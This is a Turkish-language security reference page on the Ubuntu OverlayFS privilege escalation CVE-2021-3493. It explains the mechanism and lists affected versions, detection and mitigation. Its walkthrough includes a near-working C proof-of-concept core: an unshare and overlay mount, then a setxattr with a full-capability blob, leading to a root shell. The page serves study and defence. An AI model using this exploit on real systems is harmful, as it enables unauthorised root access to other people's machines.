Skip to content

overlayfs privilege escalation (CVE-2021-3493)

Orijinal Ubuntu OverlayFS LPE'si: Ubuntu, unprivileged kullanıcıların bir user namespace içinde overlay mount etmesine izin verdiği için, bir overlay dosyasında security.capability set etmek namespace'in s_user_ns'ine karşı capability check'ini geçer ve sonra doğrudan underlying file'a yazılır; bu da kullanıcının hiç sahip olmadığı init-namespace capability'lerini bahşeder.

Mechanism

Neden çalışır

CVE-2021-3493, sonraki overlay capability bug'larının atasıdır ve GameOver(lay)'in erişilebilir olmasının da sebebidir. İki Ubuntu'ya özgü olguya dayanır:

  1. Ubuntu, overlayfs'e FS_USERNS_MOUNT ekledi. Upstream Linux, unprivileged bir kullanıcının bir user namespace içinde OverlayFS mount etmesine izin vermez; Ubuntu bunu değiştirdi, böylece unprivileged bir kullanıcı unshare -rUm yapıp tüm (namespace-local) capability'leri elinde tuttuğu bir overlay mount edebilir.

  2. Capability validation yalnızca ilk xattr write'da yapılıyordu. Bir overlay dosyasında security.capability set etmek, cap_convert_nscap çalıştıran vfs_setxattr'ı çağırır. O fonksiyon ns_capable(inode->i_sb->s_user_ns, CAP_SETFCAP)'i check eder. Overlay inode'u için s_user_ns, yeni, unprivileged user namespace'tir — ki caller orada CAP_SETFCAP'e sahiptir — dolayısıyla check geçer. OverlayFS ardından xattr'ı gerçek underlying file'a (örn. ext4 üzerinde) itmek için ikinci bir vfs_setxattr yapar. Bug'ın olduğu dönemde o ikinci write, capability'yi underlying filesystem'in init user namespace'ine karşı hiç doğrulamazdı (o ikinci write'ta hiçbir capability check'i yoktu), bu yüzden capability blob'u sanki root set etmiş gibi host tarafındaki bir dosyaya konardı.

Escalation sonrasında trivial'dir: bir binary'ye, diyelim ki full capability (veya cap_setuid) bahşeden bir security.capability değeri yaz, sonra onu namespace dışında çalıştır. Underlying file init namespace'te capability'yi gerçekten taşıdığı için, binary exec'te o capability'leri kazanır ve setuid(0) yapabilir.

Upstream fix, capability validation'ı vfs_setxattr'ın içine taşıdı. Bug'lı kodda ikinci (underlying filesystem'e giden) write'ta hiçbir validation yoktu; fix bu ikinci write'a validation ekler ve bu sefer underlying filesystem'in gerçek superblock'unun (init) user namespace'ine karşı check edilir. Orada unprivileged caller CAP_SETFCAP'ten yoksundur, dolayısıyla write reddedilir. GameOver(lay) (CVE-2023-2640 / CVE-2023-32629), Ubuntu'nun özel __vfs_setxattr_noperm copy-up path'i bu hardening'i hiç miras almadığı için sonradan yeniden ortaya çıktı.

Walkthrough

  1. Unprivileged user namespace'lerin etkin olduğu, etkilenen bir Ubuntu'yu doğrula (patch'lenen sürümden önceki bir kernel, kabaca upstream-eşdeğeri < 5.11):
$ lsb_release -d
Description:    Ubuntu 20.04.1 LTS
$ uname -r
5.8.0-43-generic
$ sysctl kernel.unprivileged_userns_clone
kernel.unprivileged_userns_clone = 1
  1. Yayınlanan PoC (örn. inspiringz / blasty pwnkit-tarzı C) özünde şunu yapar:
/* create new user + mount namespaces; map current uid -> 0 inside */
unshare(CLONE_NEWNS | CLONE_NEWUSER);
write_uid_gid_maps();

/* mount overlay in the namespace */
mount("overlay", "/tmp/merged", "overlay", 0,
      "lowerdir=/tmp/lower,upperdir=/tmp/upper,workdir=/tmp/work");

/* drop a copy of ourselves into the merged dir */
copyfile("/proc/self/exe", "/tmp/merged/magic", 0777);

/* the magic capability blob: VFS_CAP_REVISION_2 with all caps set */
char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00"
             "\xff\xff\xff\xff\x00\x00\x00\x00";
setxattr("/tmp/merged/magic", "security.capability",
         cap, sizeof(cap) - 1, 0);
  1. setxattr, cap_convert_nscap check'ini geçer (overlay inode'unun s_user_ns'i unprivileged ns'tir) ve host filesystem'indeki upper file'a yazılır. Namespace dışında upper file artık full file capability'leri taşır:
$ getcap /tmp/upper/magic
/tmp/upper/magic = cap_chown,cap_dac_override,...+ep
  1. Artık capability taşıyan binary'yi yeniden exec et; init namespace'teki capability'lerle ayrıcalıkları yükseltir ve bir root shell doğurur:
$ /tmp/upper/magic shell
# id
uid=0(root) gid=0(root) groups=0(root)

Blob formatı

Bug'ın özü tam da şudur: vulnerable kodda blob, underlying filesystem'e namespace-scope'lu (rootid-tagged v3 vfs_ns_cap_data) forma çevrilmeden, unscoped/host-scope formda push edilir — yani sanki init-namespace root'u set etmiş gibi konar. Bu conversion/re-validation eksikliği yüzünden unscoped capability copy-up sırasında reddedilmez; istismar tam da bu eksik dönüşüm ve validation'dan doğar.

Etkilenen sürümler

Ubuntu'ya özgü (Ubuntu'nun FS_USERNS_MOUNT değişikliğine bağlıdır). Etkilenen sürümler arasında, düzeltilmiş güncellemelerden önceki kernel'lerle (geniş anlamda 5.11 öncesi sınıf Ubuntu kernel'leri) Ubuntu 20.10, 20.04 LTS, 19.04, 18.04 LTS, 16.04 LTS ve 14.04 ESM bulunur. CISA Known Exploited Vulnerabilities catalog'unda listelenmiştir.

Detection

  • Unprivileged unshare ile user+mount namespace'e giriş, ardından bir overlay mount ve security.capability'nin bir setxattr'ı.
  • User-writable dizinlerde (overlay upperdir'lerinde) file capability kazanan dosyalar.
  • Taze capability-damgalı bir binary'nin non-root bir kullanıcı tarafından çalıştırılması ve ardından setuid(0) çağrılması.

Mitigation

  • Patch'lenmiş Ubuntu kernel'ine güncelle (fix, capability validation'ı vfs_setxattr içine taşır; böylece underlying write yeniden check edilir).
  • Unprivileged user namespace'leri devre dışı bırak: sysctl -w kernel.unprivileged_userns_clone=0.
  • Güvenilmeyen workload'lar için mount'u ve unprivileged unshare(CLONE_NEWUSER)'ı reddeden AppArmor/seccomp profilleri uygula.

References